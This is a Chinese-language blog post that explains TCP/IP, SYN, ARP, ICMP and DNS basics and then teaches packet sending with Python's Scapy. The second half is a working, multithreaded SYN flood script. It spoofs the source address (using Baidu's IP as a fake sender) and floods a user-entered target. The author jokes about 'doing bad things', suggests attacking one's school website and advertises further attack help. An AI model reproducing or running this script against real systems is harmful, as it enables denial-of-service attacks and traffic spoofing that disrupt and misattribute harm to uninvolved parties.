Python Scapy發送數據包

數據包

TCP/IP協議通信傳輸中的數據單位,一般也稱“數據包”。

TCP/IP協議是工作在OSI模型第三層(網絡層)、第四層(傳輸層)上的,工作在第二層(數據鏈路層)。上一層的內容由下一層的內容來傳輸,所以在局域網中,“包”是包含在“幀”裏的。

數據包的結構:數據包的結構非常複雜,不是三言兩語能夠說清的,在這裏主要了解一下它的關鍵構成就可以了,這對於理解TCP/IP協議的通信原理是非常重要的。數據包主要由“目的IP地址”、“源IP地址”、“淨載數據”等部分構成,包括包頭和包體,包頭是固定長度,包體的長度不定,各字段長度固定,雙方的請求數據包和應答數據包的包頭結構是一致的,不同的是包體的定義。 數據包的結構與我們平常寫信非常類似,目的IP地址是說明這個數據包是要發給誰的,相當於收信人地址;源IP地址是說明這個數據包是發自哪裏的,相當於發信人地址;而淨載數據相當於信件的內容。 正是因爲數據包具有這樣的結構,安裝了TCP/IP協議的計算機之間才能相互通信。我們在使用基於TCP/IP協議的網絡時,網絡中其實傳遞的就是數據包。理解數據包,對於網絡管理的網絡安全具有至關重要的意義。


Python發送數據包

Scapy

Scapy是Python的一個第三方庫,兼容Python2和Python3,可以用來發送各個協議的數據包,就像Python語言中的一枚洲際導彈,想打哪打哪。

SYN協議

SYN,同步序列編號(Synchronize Sequence Numbers)。是TCP/IP建立連接時使用的握手信號。在客戶機和服務器之間建立正常的TCP網絡連接時,客戶機首先發出一個SYN消息,服務器使用SYN+ACK應答表示接收到了這個消息,最後客戶機再以ACK消息響應。這樣在客戶機和服務器之間才能建立起可靠的TCP連接,數據纔可以在客戶機和服務器之間傳遞。

TCP連接的第一個包,非常小的一種數據包。SYN 攻擊包括大量此類的包,由於這些包看上去來自實際不存在的站點,因此無法有效進行處理。每個機器的欺騙包都要花幾秒鐘進行嘗試方可放棄提供正常響應。

ARP協議

地址解析協議,即ARP(Address Resolution Protocol),是根據IP地址獲取物理地址的一個TCP/IP協議主機發送信息時將包含目標IP地址的ARP請求廣播到局域網絡上的所有主機,並接收返回消息,以此確定目標的物理地址;收到返回消息後將該IP地址和物理地址存入本機ARP緩存中並保留一定時間,下次請求時直接查詢ARP緩存以節約資源。地址解析協議是建立在網絡中各個主機互相信任的基礎上的,局域網絡上的主機可以自主發送ARP應答消息,其他主機收到應答報文時不會檢測該報文的真實性就會將其記入本機ARP緩存;由此攻擊者就可以向某一主機發送僞ARP應答報文,使其發送的信息無法到達預期的主機或到達錯誤的主機,這就構成了一個ARP欺騙ARP命令可用於查詢本機ARP緩存中IP地址和MAC地址的對應關係、添加或刪除靜態對應關係等。相關協議有RARP代理ARPNDP用於在IPv6中代替地址解析協議。

ACK

ACK (Acknowledge character)即是確認字符,在數據通信中,接收站發給發送站的一種傳輸類控制字符。表示發來的數據已確認接收無誤。在TCP/IP協議中,如果接收方成功的接收到數據,那麼會回覆一個ACK數據。通常ACK信號有自己固定的格式,長度大小,由接收方回覆給發送方。

ICMP協議

ICMP(Internet Control Message Protocol)Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用於在IP主機路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。這些控制消息雖然並不傳輸用戶數據,但是對於用戶數據的傳遞起着重要的作用。 [1]

ICMP使用IP的基本支持,就像它是一個更高級別的協議,但是,ICMP實際上是IP的一個組成部分,必須由每個IP模塊實現。

DNS

域名系統英文Domain Name System,縮寫DNS)是互聯網的一項服務。它作爲將域名IP地址相互映射的一個分佈式數據庫,能夠使人更方便地訪問互聯網。DNS使用TCPUDP端口53[1]。當前,對於每一級域名長度的限制是63個字符,域名總長度則不能超過253個字符。

開始時,域名的字符僅限於ASCII字符的一個子集。2008年,ICANN通過一項決議,允許使用其它語言作爲互聯網頂級域名的字符。使用基於Punycode碼的IDNA系統,可以將Unicode字符串映射爲有效的DNS字符集。因此,諸如“XXX.中國”、“XXX.美國”的域名可以在地址欄直接輸入並訪問,而不需要安裝插件。但是,由於英語的廣泛使用,使用其他語言字符作爲域名會產生多種問題,例如難以輸入,難以在國際推廣等。

簡單來說就是一個將域名翻譯成ip地址的系統。

Scapy發包

Scapy的安裝可以看我的上一篇文章Python實施SYN泛洪攻擊

導入Scapy

from scapy.all import * #使用這一行即可導入所有Scapy的函數

構建數據包

在構建一個數據包之前,我們先ping一下百度的網站,如果你真的是小白中的小白,不知道什麼是ping的話,那麼...那麼...我也沒啥辦法,只好把這個鏈接送給你。

 

我們這裏得到了百度的IP地址爲14.215.177.38,下面就可以幹壞事了 :)  。

 

IP(src="14.215.177.38",dst="你的目標")  #使用scapy IP函數構建第一層。

TCPlayer = TCP(sport="目標主機端口", dport="自家主機端口")  #使用scapy TCP函數構建第二層。

pkt = IPlayer / TCPlayer  #組合構建成完整數據包

send(pkt)  #發送數據包

 

上面我引用了百度的話來解釋SYN協議,有一段話是:TCP連接的第一個包,非常小的一種數據包。SYN 攻擊包括大量此類的包,由於這些包看上去來自實際不存在的站點,因此無法有效進行處理。每個機器的欺騙包都要花幾秒鐘進行嘗試方可放棄提供正常響應。百度百科專門把SYN攻擊這個詞提出來,我懷疑其意在告訴我們,SYN這個協議就用來攻擊的(淫笑中)。

在上面這一段代碼,我把IP函數中的src參數設置爲百度的IP地址 :) ,src就是虛擬的發送者,這些包看上去來自實際不存在的站點,其原因就是,目標主機顯示你發出的包來源於src所填寫的IP地址,那麼 :)  ,對面就會發現:啊!百度正在打我!(度娘:啥,我啥都不知道啊。)

所以這時候,我們構建這樣一個函數:

def synFlood(tgt):

        src = "14.215.177.38"

        for sport in range(1024, 65535):

            IPlayer = IP(src=src, dst=tgt)

            TCPlayer = TCP(sport=sport, dport=513)

            pkt = IPlayer / TCPlayer

            send(pkt)

然後使用synFlood("你的目標")來調用該函數。

但是上面又說了,SYN數據包是TCP連接的第一個包,非常小的一種數據包,他很小,那麼,難道我要把攻擊腳本掛一年嗎?(CDN提供商:你打一輩子也沒用,我就是抗打的 :) )

這裏,我們有四種方式:

1. 具有能力,購買幾百臺電腦,同時掛載腳本;

2. 把腳本放到桌面,樂此不疲的雙擊;

3. 使用Python提供的threading庫製造多線程;

4. 這個方法絕密,訪問我們的網站或者副站(國內副站快一些)找到我們的聯繫方式,我們給你共享科技。

既然4絕密,那麼毫無疑問3是最好的了,下面直接上代碼,不廢話:

#coding: utf8

print("Welcome to use SYN Flood Attack Project.\n\

Author:Leopold Fu, Qinchuan Union of China.\n")

print("Initializing...\n")

from scapy.all import *

from threading import Thread,Lock,activeCount

src = "10.1.1.2"

class Loop(Thread):

    def __init__(self,tgt):

        Thread.__init__(self)

        self.tgt = tgt

    def synFlood(self):

        global src

        for sport in range(1024, 65535):

            IPlayer = IP(src=src, dst=self.tgt)

            TCPlayer = TCP(sport=sport, dport=513)

            pkt = IPlayer / TCPlayer

            send(pkt)

class Main(Thread):

    def __init__(self, tgt, thread):

        Thread.__init__(self)

        self.tgt = tgt

        self.thread = thread

    def run(self):

        limit = 100

        total = 0

        while True:

            if activeCount() < limit:

                Loop(self.tgt).start()

                total = total + 1

                print('Thread: %s ,Send attack package %s times...' % (str(self.thread),(str(total))) + "\n")

t = int(input("You're Python3.\nInput your Thread:"))

try:

    ip = raw_input("Your target:")

except:

    ip = input("Your target:")

i = 0

while True:

    i = i+1

    Main(tgt=ip,thread=i).start()

    t = t-1

    if t==0:

        break

譬如說,如果你是一個天才少年,對學校的網站十分惱火,那麼,把目標IP換成學校的IP就行了(有CDN就沒辦法了,出了事別找我 :) )。

這段代碼可以在我的GitHub裏面看到,地址在上一篇文章找,如果你懶得複製粘貼,或者CSDN裏面複製粘貼有什麼BUG,那你就老老實實從GitHub上面下載吧。

推廣:中國秦川聯盟

推廣: 中國秦川聯盟學術綱領

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章